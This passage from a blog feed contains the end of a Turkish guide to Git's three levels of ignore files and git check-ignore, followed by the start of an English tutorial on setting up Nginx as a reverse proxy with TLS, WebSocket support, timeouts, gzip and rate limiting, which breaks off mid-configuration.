kullan&inodot;lmal&inodot;?</strong> Projedeki t&uuml;m geli&scedil;tiriciler i&ccedil;in ortak olan dosyalar i&ccedil;in. &Ouml;rne&gbreve;in; <code>node_modules/</code>, Python'&inodot;n <code>__pycache__/</code> klas&ouml;r&uuml;, derlenmi&scedil; &ccedil;&inodot;kt&inodot;lar (<code>dist/</code>, <code>build/</code>) veya IDE yap&inodot;land&inodot;rma klas&ouml;rleri (<code>.vscode/</code>, <code>.idea/</code>).</li> </ul> <div class="admonition note"> <p class="admonition-title">&Ouml;nemli Not: Takip Edilen (Tracked) Dosyalar ⚠️</p> <p>Git'in yok sayma kurallar&inodot; sadece hen&uuml;z takip edilmeyen (untracked) dosyalar i&ccedil;in ge&ccedil;erlidir.<sup id="fnref2:1"><a class="footnote-ref" href="#fn:1">1</a></sup> E&gbreve;er bir dosyay&inodot; daha &ouml;nce commit ettiyseniz, o dosyay&inodot; <code>.gitignore</code> veya <code>exclude</code> dosyas&inodot;na ekleseniz bile Git onu izlemeye devam eder. Bu dosyalar&inodot; takipten &ccedil;&inodot;karmak i&ccedil;in <code>git rm --cached &lt;dosya_yolu&gt;</code> komutunu kullanman&inodot;z gerekir.</p> </div> <hr/> <h2 id="2-proje-ozelinde-gizli-yok-sayma-gitinfoexclude">🔒 2. Proje &Ouml;zelinde Gizli Yok Sayma: <code>.git/info/exclude</code><a class="headerlink" href="#2-proje-ozelinde-gizli-yok-sayma-gitinfoexclude" title="Permanent link">#</a></h2> <p>Her Git deposunun i&ccedil;inde gizli bir <code>.git</code> klas&ouml;r&uuml; yer al&inodot;r. Bu klas&ouml;r&uuml;n alt&inodot;ndaki <code>info/exclude</code> dosyas&inodot;, tam olarak o projeye &ouml;zel ama Git ge&ccedil;mi&scedil;ine <strong>asla dahil edilmeyen</strong> yerel bir yok sayma listesidir.</p> <ul> <li><strong>Ne zaman kullan&inodot;lmal&inodot;?</strong> Sadece sizin kendi i&scedil; ak&inodot;&scedil;&inodot;n&inodot;za &ouml;zel olan ve tak&inodot;mdaki di&gbreve;er insanlar&inodot; ilgilendirmeyen dosyalar i&ccedil;in. &Ouml;rne&gbreve;in; ald&inodot;&gbreve;&inodot;n&inodot;z ge&ccedil;ici geli&scedil;tirme notlar&inodot; (<code>notlar.txt</code>), test etmek i&ccedil;in yazd&inodot;&gbreve;&inodot;n&inodot;z ama commit etmek istemedi&gbreve;iniz ge&ccedil;ici scriptler (<code>deneme.py</code>) veya sadece yerel ortam&inodot;n&inodot;zda kulland&inodot;&gbreve;&inodot;n&inodot;z analiz dosyalar&inodot;.</li> <li><strong>Nas&inodot;l kullan&inodot;l&inodot;r?</strong> <code>.git/info/exclude</code> dosyas&inodot;n&inodot; herhangi bir metin d&uuml;zenleyiciyle a&ccedil;&inodot;p, standart <code>.gitignore</code> yazar gibi yok saymak istedi&gbreve;iniz dosya adlar&inodot;n&inodot; sat&inodot;r sat&inodot;r eklemeniz yeterlidir.</li> </ul> <hr/> <h2 id="3-bilgisayar-genelinde-yok-sayma-configgitignore">🌍 3. Bilgisayar Genelinde Yok Sayma: <code>~/.config/git/ignore</code><a class="headerlink" href="#3-bilgisayar-genelinde-yok-sayma-configgitignore" title="Permanent link">#</a></h2> <p>&Idot;&scedil;letim sisteminizde kullan&inodot;c&inodot; ana dizininin alt&inodot;nda (<code>~/.config/git/ignore</code>) bulunan bu dosya, bilgisayar&inodot;n&inodot;zda a&ccedil;t&inodot;&gbreve;&inodot;n&inodot;z <strong>t&uuml;m Git projelerinde</strong> ge&ccedil;erli olan k&uuml;resel (global) yok sayma listesidir.</p> <ul> <li><strong>Ne zaman kullan&inodot;lmal&inodot;?</strong> &Idot;&scedil;letim sisteminin veya kulland&inodot;&gbreve;&inodot;n&inodot;z edit&ouml;rlerin her projede olu&scedil;turdu&gbreve;u &ccedil;&ouml;p dosyalar i&ccedil;in. &Ouml;rne&gbreve;in; macOS kullan&inodot;yorsan&inodot;z <code>.DS_Store</code> dosyalar&inodot;, Windows'taki <code>Thumbs.db</code> dosyalar&inodot; ya da i&scedil;letim sistemi d&uuml;zeyindeki ge&ccedil;ici klas&ouml;rler. Bunlar&inodot; her projenin kendi <code>.gitignore</code> dosyas&inodot;na tek tek yazmak yerine buraya bir kez yazarak &ouml;m&uuml;r boyu kurtulabilirsiniz.</li> <li><strong>&Ouml;zel Yol Tan&inodot;mlama:</strong> E&gbreve;er bu k&uuml;resel dosyay&inodot; ba&scedil;ka bir konumda (&ouml;rne&gbreve;in ana dizinde direkt <code>.gitignore_global</code> ad&inodot;yla) tutmak isterseniz, Git yap&inodot;land&inodot;rma parametresini<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> &scedil;u komutla g&uuml;ncelleyebilirsiniz:</li> </ul> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>config<span class="w"> </span>--global<span class="w"> </span>core.excludesFile<span class="w"> </span>~/.gitignore_global </code></pre></div> <ul> <li>Varsay&inodot;lan ayarlara geri d&ouml;nmek isterseniz:</li> </ul> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>config<span class="w"> </span>--global<span class="w"> </span>--unset<span class="w"> </span>core.excludesFile </code></pre></div> <hr/> <h2 id="hangi-dosyann-nereden-engellendigini-bulmak">🔍 Hangi Dosyan&inodot;n Nereden Engellendi&gbreve;ini Bulmak<a class="headerlink" href="#hangi-dosyann-nereden-engellendigini-bulmak" title="Permanent link">#</a></h2> <p>Dosyalar&inodot; bu &uuml;&ccedil; farkl&inodot; yere da&gbreve;&inodot;tt&inodot;&gbreve;&inodot;m&inodot;zda, bir s&uuml;re sonra "Yahu bu dosya neden Git taraf&inodot;ndan g&ouml;r&uuml;nm&uuml;yor, hangisi engelliyor?" sorusu akla gelebilir. Git bu kafa kar&inodot;&scedil;&inodot;kl&inodot;&gbreve;&inodot;n&inodot; gidermek i&ccedil;in bize harika bir komut sunuyor: <code>git check-ignore -v &lt;dosya_yolu&gt;</code></p> <p>&Ouml;rne&gbreve;in, projenizde <code>.DS_Store</code> dosyas&inodot;n&inodot;n neden g&ouml;r&uuml;nmedi&gbreve;ini sorgulayal&inodot;m:</p> <h3 id="senaryo-a-projenin-gitignore-dosyas-engelliyorsa">Senaryo A: Projenin <code>.gitignore</code> dosyas&inodot; engelliyorsa:<a class="headerlink" href="#senaryo-a-projenin-gitignore-dosyas-engelliyorsa" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store .gitignore:1:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <p><em>(&Ccedil;&inodot;kt&inodot;da <code>.gitignore</code> dosyas&inodot;n&inodot;n 1. sat&inodot;r&inodot;ndan &ouml;t&uuml;r&uuml; engellendi&gbreve;i a&ccedil;&inodot;k&ccedil;a yazar).</em></p> <h3 id="senaryo-b-projenin-yerel-gitinfoexclude-dosyas-engelliyorsa">Senaryo B: Projenin yerel <code>.git/info/exclude</code> dosyas&inodot; engelliyorsa:<a class="headerlink" href="#senaryo-b-projenin-yerel-gitinfoexclude-dosyas-engelliyorsa" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store .git/info/exclude:7:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <h3 id="senaryo-c-kuresel-configgitignore-dosyas-engelliyorsa">Senaryo C: K&uuml;resel <code>~/.config/git/ignore</code> dosyas&inodot; engelliyorsa:<a class="headerlink" href="#senaryo-c-kuresel-configgitignore-dosyas-engelliyorsa" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store /home/yucel/.config/git/ignore:2:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <p>E&gbreve;er yazd&inodot;&gbreve;&inodot;n&inodot;z dosya ad&inodot; hi&ccedil;bir kural taraf&inodot;ndan engellenmiyorsa, komut geriye hi&ccedil;bir &ccedil;&inodot;kt&inodot; d&ouml;nmez.</p> <p>Netice itibariyle, Git kullan&inodot;rken ortak repolar&inodot; ki&scedil;isel dosyalar&inodot;m&inodot;zla kirletmemek ve "yanl&inodot;&scedil;l&inodot;kla pushlad&inodot;m" kazalar&inodot;n&inodot;n &ouml;n&uuml;ne ge&ccedil;mek i&ccedil;in bu &uuml;&ccedil; seviyeyi yerli yerinde kullanmak profesyonel bir geli&scedil;tirici refleksidir.</p> <h2 id="ilgili-yazlar_1">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/git-commit-geri-donme-cherry-pick/">Git Commit Geri D&ouml;nme ve Cherry-Pick</a></li> <li><a href="/git-gpg-imzali-commit-vscode-arch/">Git GPG &Idot;mzal&inodot; Commit VS Code &amp; Arch Linux</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Git'in hen&uuml;z takip etmedi&gbreve;i (untracked) dosyalar i&ccedil;in ge&ccedil;erlidir. Takip edilen (tracked) dosyalar yok sayma listesine eklense bile izlenmeye devam eder.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a><a class="footnote-backref" href="#fnref2:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Git'in k&uuml;resel yok sayma listesi olarak kullanaca&gbreve;&inodot; dosya yolunu belirleyen yap&inodot;land&inodot;rma parametresidir.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:40:00+03:002026-06-26T02:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/nginx-ters-vekil-sunucu-yapilandirmak/

<p>A guide on positioning Nginx as a reverse proxy in front of Node.js and other web applications to enhance security, rate limiting, and performance.</p>

<p>Last week, while editing the Nginx configuration of an old project, I realized that all API routes were throwing 404 errors just because of the trailing slash (<code>/</code>) character at the end of the <code>proxy_pass http://127.0.0.1:3000/;</code> line. I spent hours pulling my hair out to understand why. At one point, my wife called out from the other room: "Y&uuml;cel, are you staying up late again just because of a tiny slash character?" I both laughed and remembered how these unglamorous (unfancy but vital) details in the web development world keep us awake at night.</p> <p>When working on our local machines, everything is simple. Our Node.js application listens on port 3000, we type <code>localhost:3000</code> in the browser, and go about our business. But when production time comes, the game changes entirely. Now we have a domain name, HTTPS traffic on port 443, and potentially thousands of users coming from all over the internet.</p> <p>Exposing the application itself directly to the internet is like tearing off your house's front door and letting anyone on the street walk straight into your bedroom. That's why, my friend, today we will talk about how to build that impassable Nginx wall between internet traffic and our application code.</p> <hr/> <h2 id="what-problem-does-nginx-solve">🛑 What Problem Does Nginx Solve?<a class="headerlink" href="#what-problem-does-nginx-solve" title="Permanent link">#</a></h2> <p>Application servers (Node.js, Python, Go, etc.) are great at running business logic. But handling wild traffic coming from the internet directly is not their job. Nginx exists to take the following burdens off the application:</p> <ul> <li>Terminate TLS (SSL) certificates and renew them before they expire.</li> <li>Serve static files (images, CSS, JS) at lightning speed directly from disk without tiring the application server.</li> <li>Prevent the application from hanging by keeping sockets open for clients with slow connections.</li> <li>Manage request size limits and timeouts.</li> <li>Prevent malicious scans using request rate limiting.</li> <li>Queue incoming requests while the application restarts to avoid downtime.</li> </ul> <p>Nginx handles all these public-facing tasks, while the application behind it focuses solely on running its own code. (For example, to safely run and configure your Node.js application in Docker containers, you can check out my guide on <a href="/en/docker-node-js-root-olmadan-calistirmak/">Running Node.js Containers Without Root in Docker</a>.)</p> <hr/> <h2 id="the-core-idea-reverse-proxy">💡 The Core Idea: Reverse Proxy<a class="headerlink" href="#the-core-idea-reverse-proxy" title="Permanent link">#</a></h2> <p>We make Nginx the single point of entry for the system. The outside world only talks to Nginx (port 443, via TLS). Nginx then forwards the requests it receives to the application behind the scenes, which is accessible only via the local network (port 3000, via unencrypted HTTP).</p> <div class="highlight"><pre><span></span><code><span class="n">client</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">nginx</span><span class="w"> </span><span class="p">(</span><span class="mi">443</span><span class="p">,</span><span class="w"> </span><span class="n">TLS</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">application</span><span class="w"> </span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span><span class="w"> </span><span class="n">plain</span><span class="w"> </span><span class="n">http</span><span class="p">)</span> </code></pre></div> <p>We call this setup a reverse proxy<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Clients don't even know of the existence of the application behind.</p> <hr/> <h2 id="how-does-nginx-work">🏗️ How Does Nginx Work?<a class="headerlink" href="#how-does-nginx-work" title="Permanent link">#</a></h2> <p>Nginx consists of one <strong>master</strong> process and <strong>worker</strong> processes configured according to the CPU core count:</p> <div class="highlight"><pre><span></span><code>master process &boxvr;&boxh;&boxh; worker process (core 1) &boxvr;&boxh;&boxh; worker process (core 2) &boxur;&boxh;&boxh; worker process (core 3) </code></pre></div> <p>The master process reads the configuration, binds ports, and manages the worker processes. The workers, which do the actual job, run with an event loop architecture. While old-school web servers (like Apache's classic model) open a separate thread for each connection, Nginx can manage thousands of connections simultaneously using a single worker process and the Linux kernel's event notification mechanism (<code>epoll</code>)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>.</p> <p>Because of this, a slow or idle client costs Nginx almost nothing. Nginx absorbs these slow connections like a sponge and passes only fully prepared requests to the application behind.</p> <hr/> <h2 id="server-and-location-blocks">📁 Server and Location Blocks<a class="headerlink" href="#server-and-location-blocks" title="Permanent link">#</a></h2> <p>The foundation of Nginx configuration relies on <code>server</code> and <code>location</code> blocks.</p> <h3 id="server-block">Server Block<a class="headerlink" href="#server-block" title="Permanent link">#</a></h3> <p>Defines how traffic coming for a domain and port will be handled:</p> <div class="highlight"><pre><span></span><code><span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/fullchain.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate_key</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/privkey.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <h3 id="location-block">Location Block<a class="headerlink" href="#location-block" title="Permanent link">#</a></h3> <p>Decides what to do based on the path of the incoming request:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="p">}</span> <span class="k">location</span><span class="w"> </span><span class="s">/static/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">root</span><span class="w"> </span><span class="s">/var/www/app</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>Files under <code>/static/</code> are read directly from disk and sent. The application server is never even aware of these requests.</p> <hr/> <h2 id="proxy_pass-and-the-trailing-slash-detail_1">⚡ proxy_pass and the Trailing Slash (/) Detail<a class="headerlink" href="#proxy_pass-and-the-trailing-slash-detail" title="Permanent link">#</a></h2> <p>That famous slash rule that kept me awake at night is this:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Scenario A: Slash present</span> <span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000/</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <div class="highlight"><pre><span></span><code><span class="c1"># Scenario B: No slash</span> <span class="k">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Critical Detail: The Slash (/) Ayr&inodot;nt&inodot;s&inodot; in the proxy_pass Line! ⚠️</p> <p>If there is a <code>/</code> at the end of the <code>proxy_pass</code> line (Scenario A), Nginx crops the matching <code>/api/</code> prefix, and the request <code>/api/users</code> is forwarded to the application as <code>/users</code>.</p> <p>If there is no <code>/</code> at the end (Scenario B), Nginx forwards the path exactly as it is without modifying it, and the request <code>/api/users</code> goes to the application as <code>/api/users</code>. This tiny character difference can cause your API routes to return 404!</p> </div> <hr/> <h2 id="i-forwarding-client-information-to-the-back">ℹ️ Forwarding Client Information to the Back<a class="headerlink" href="#i-forwarding-client-information-to-the-back" title="Permanent link">#</a></h2> <p>Since the application only talks to Nginx, by default it thinks all requests come from <code>127.0.0.1</code>. This breaks logging and security checks. We must forward the real client information using headers:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <ul> <li><code>Host</code>: Forwards the original domain requested by the client.</li> <li><code>X-Real-IP</code>: Carries the direct IP address of the client.</li> <li><code>X-Forwarded-For</code>: Carries the entire proxy IP chain the request passed through.</li> <li><code>X-Forwarded-Proto</code>: Informs the application whether the original request was HTTP or HTTPS.</li> </ul> <hr/> <h2 id="websocket-support">🔌 WebSocket Support<a class="headerlink" href="#websocket-support" title="Permanent link">#</a></h2> <p>Standard HTTP forwarding cannot carry WebSocket connections. For WebSocket handshakes, we must add upgrade headers:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/ws/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://127.0.0.1:3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_http_version</span><span class="w"> </span><span class="mi">1</span><span class="s">.1</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Upgrade</span><span class="w"> </span><span class="nv">$http_upgrade</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Connection</span><span class="w"> </span><span class="s">"upgrade"</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <hr/> <h2 id="buffering-and-timeouts">🗄️ Buffering and Timeouts<a class="headerlink" href="#buffering-and-timeouts" title="Permanent link">#</a></h2> <p>Nginx pulls responses from the application into a buffer by default. While the application hands the response to Nginx in milliseconds and goes back to other tasks, Nginx drips this response to the client slowly.</p> <p>However, in cases requiring instant data streaming (like Server-Sent Events or instant chat lines), this buffering must be turned off:</p> <div class="highlight"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/events/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_buffering</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>Timeouts are critical for system stability:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Backend connection times</span> <span class="k">proxy_connect_timeout</span><span class="w"> </span><span class="s">5s</span><span class="p">;</span> <span class="k">proxy_send_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="k">proxy_read_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="c1"># Client connection times</span> <span class="k">client_header_timeout</span><span class="w"> </span><span class="s">10s</span><span class="p">;</span> <span class="k">client_body_timeout</span><span class="w"> </span><span class="s">10s</span><span class="p">;</span> <span class="k">keepalive_timeout</span><span class="w"> </span><span class="s">65s</span><span class="p">;</span> </code></pre></div> <p>By keeping the <code>proxy_connect_timeout</code> low (for example, 5 seconds), we can quickly return an error response (502) if an application crashes. (If you want to pull up your server's overall network performance and TCP limits even further, you can check out my post on <a href="/en/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning and Kernel Settings for Node.js Microservices</a>.)</p> <hr/> <h2 id="http2-and-response-compression-gzip">🚀 HTTP/2 and Response Compression (gzip)<a class="headerlink" href="#http2-and-response-compression-gzip" title="Permanent link">#</a></h2> <p>The HTTP/2 protocol allows concurrent carriage of multiple requests over a single TCP connection. Enabling this on Nginx is just a single line:</p> <div class="highlight"><pre><span></span><code><span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">http2</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>We can also reduce network load by compressing text-based responses like HTML, CSS, JS, and JSON:</p> <div class="highlight"><pre><span></span><code><span class="k">gzip</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="k">gzip_types</span><span class="w"> </span><span class="s">text/css</span><span class="w"> </span><span class="s">application/javascript</span><span class="w"> </span><span class="s">application/json</span><span class="w"> </span><span class="s">image/svg+xml</span><span class="p">;</span> <span class="k">gzip_min_length</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span> <span class="k">gzip_comp_level</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span> </code></pre></div> <hr/> <h2 id="security-and-rate-limiting">🛡️ Security and Rate Limiting<a class="headerlink" href="#security-and-rate-limiting" title="Permanent link">#</a></h2> <p>To prevent abuse of application routes (especially heavy routes like login or search), we use Nginx's rate limiting feature:</p> <div class="highlight"><pre><span></span><code><span class="k">http</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req_zone</span><span class="w"> </span><span class="nv">$binary_remote_addr</span><span class="w"> </span><span class="s">zone=api:10m</span><span class="w"> </span><span class="s">rate=10r/s</span><span class="p">;</span> <span class="p">}</span> <span class="k">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req</span><span class="w"> </span><span class="s">zone=api</span><span class="w"> </span><span class="s">burst=20</span><span class="w"> </span><span class="s">nodelay</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_status</span><span class="w"> </span><span class="mi">429</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <p>Here, we set a limit of 10 requests per second based on the user's IP, and allowed a tolerance up to 20 requests for temporary bursts. Clients exceeding the limit will directly receive a <code>429 Too Many Requests</code> status code.</p> <p>Hiding the Nginx version number also strengthens our hand in security scans:</p> <div class="highlight"><pre><span></span><code><span class="k">server_tokens</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> </code></pre></div> <p>To prevent your site from being opened inside iframe elements on other sites (Clickjacking attacks), we must add the following headers:</p> <div class="highlight"><pre><span></span><code><span class="k">add_header</span><span class="w"> </span><span class="s">X-Frame-Options</span><span class="w"> </span><span class="s">"SAMEORIGIN"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="k">add_header</span><span class="w"> </span><span class="s">Content-Security-Policy</span><span class="w"> </span><span class="s">"frame-ancestors</span><span class="w"> </span><span class="s">'self'"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> </code></pre></div> <hr/> <h2 id="production-ready-example-nginx-configuration">🛠️ Production-Ready Example Nginx Configuration<a class="headerlink" href="#production-ready-example-nginx-configuration" title="Permanent link">#</a></h2> <p>A complete <code>nginx.conf</code> template containing all these features we explained, ready for production:</p> <div class="highlight"><pre><span></span><code><span class="k">worker_processes</span><span class="w"> </span><span class="s">auto</span><span class="p">;</span> <span class="k">worker_rlimit_nofile</span><span class="w"> </span><span class="mi">65535</span><span class="p">;</span> <span class="k">events</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">worker_connections</span><span class="w"> </span><span class="mi">16384</span><span class="p">;</span> <span class="p">}</span> <span class="k">http</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">server_tokens</span><span class="w"> </span><span class="no">off</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip_types</span><span class="w"> </span><span class="s">text/css</span><span class="w"> </span><span class="s">application/javascript</span><span class="w"> </span><span class="s">application/json</span><span class="w"> </span><span class="s">image/svg+xml</span><span class="p">;</span> <span class="w"> </span><span class="kn">gzip_min_length</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_zone</span><span class="w"> </span><span class="nv">$binary_remote_addr</span><span class="w"> </span><span class="s">zone=api:10m</span><span class="w"> </span><span class="s">rate=10r/s</span><span class="p">;</span> <span class="w"> </span><span class="kn">upstream</span><span class="w"> </span><span class="s">app</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="n">127.0.0.1</span><span class="p">:</span><span class="mi">3000</span><span class="p">;</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="n">127.0.0.1</span><span class="p">:</span><span class="mi">3001</span><span class="p">;</span><span class="w"> </span><span class="c1"># Second server for load balancing</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># Redirect HTTP to HTTPS</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">80</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">return</span><span class="w"> </span><span class="mi">301</span><span class="w"> </span><span class="s">https://</span><span class="nv">$host$request_uri</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># Main HTTPS Server</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">http2</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/fullchain.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate_key</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/privkey.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">client_max_body_size</span><span class="w"> </span><span class="mi">25m</span><span class="p">;</span> <span class="w"> </span><span class="kn">add_header</span><span class="w"> </span><span class="s">X-Frame-Options</span><span class="w"> </span><span class="s">"SAMEORIGIN"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="w"> </span><span class="kn">add_header</span><span class="w"> </span><span class="s">Content-Security-Policy</span><span class="w"> </span><span class="s">"frame-ancestors</span><span class="w"> </span><span class="s">'self'"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="w"> </span><span class="c1"># Serve static files directly from disk</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/static/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">root</span><span class="w"> </span><span class="s">/var/www/app</span><span class="p">;</span> <span class="w"> </span><span class="kn">expires</span><span class="w"> </span><span class="s">30d</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># API requests go to proxy with rate limit</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req</span><span class="w"> </span><span class="s">zone=api</span><span class="w"> </span><span class="s">burst=20</span><span class="w"> </span><span class="s">nodelay</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_status</span><span class="w"> </span><span class="mi">429</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span 